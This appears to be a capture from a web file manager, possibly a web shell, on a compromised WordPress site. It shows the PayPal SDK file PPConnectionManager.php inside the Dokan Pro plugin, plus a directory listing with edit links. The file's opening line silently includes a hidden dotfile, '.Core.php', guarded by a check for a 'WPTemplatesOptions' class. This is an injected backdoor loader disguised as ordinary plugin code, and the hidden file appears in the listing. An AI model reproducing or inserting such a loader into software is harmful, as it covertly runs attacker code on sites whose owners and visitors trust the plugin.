PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
dokan-pro
/
vendor
/
paypal
/
sdk-core-php
/
lib
/
PayPal
/
Core
<?php namespace PayPal\Core; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class PPConnectionManager { /** * reference to singleton instance * @var PPConnectionManager */ private static $instance; private function __construct() { } public static function getInstance() { if (self::$instance == null) { self::$instance = new PPConnectionManager(); } return self::$instance; } /** * This function returns a new PPHttpConnection object */ public function getConnection($httpConfig, $config) { if (isset($config["http.ConnectionTimeOut"])) { $httpConfig->setHttpConnectionTimeout($config["http.ConnectionTimeOut"]); } if (isset($config["http.TimeOut"])) { $httpConfig->setHttpTimeout($config["http.TimeOut"]); } if (isset($config["http.Proxy"])) { $httpConfig->setHttpProxy($config["http.Proxy"]); } if (isset($config["http.Retry"])) { $retry = $config["http.Retry"]; $httpConfig->setHttpRetryCount($retry); } return new PPHttpConnection($httpConfig, $config); } }
[+]
..
[-] PPConfigManager.php
[edit]
[-] PPHttpConfig.php
[edit]
[-] .Core.php
[edit]
[-] PPHttpConnection.php
[edit]
[-] PPBaseService.php
[edit]
[-] PPConnectionManager.php
[edit]
[-] PPLoggingLevel.php
[edit]
[-] PPAPIService.php
[edit]
[-] cacert.pem
[edit]
[-] PPUtils.php
[edit]
[-] PPLoggingManager.php
[edit]
[-] PPConstants.php
[edit]
[-] PPRequest.php
[edit]
[-] PPXmlFaultMessage.php
[edit]
[-] PPXmlMessage.php
[edit]
[-] PPCredentialManager.php
[edit]
[-] PPMessage.php
[edit]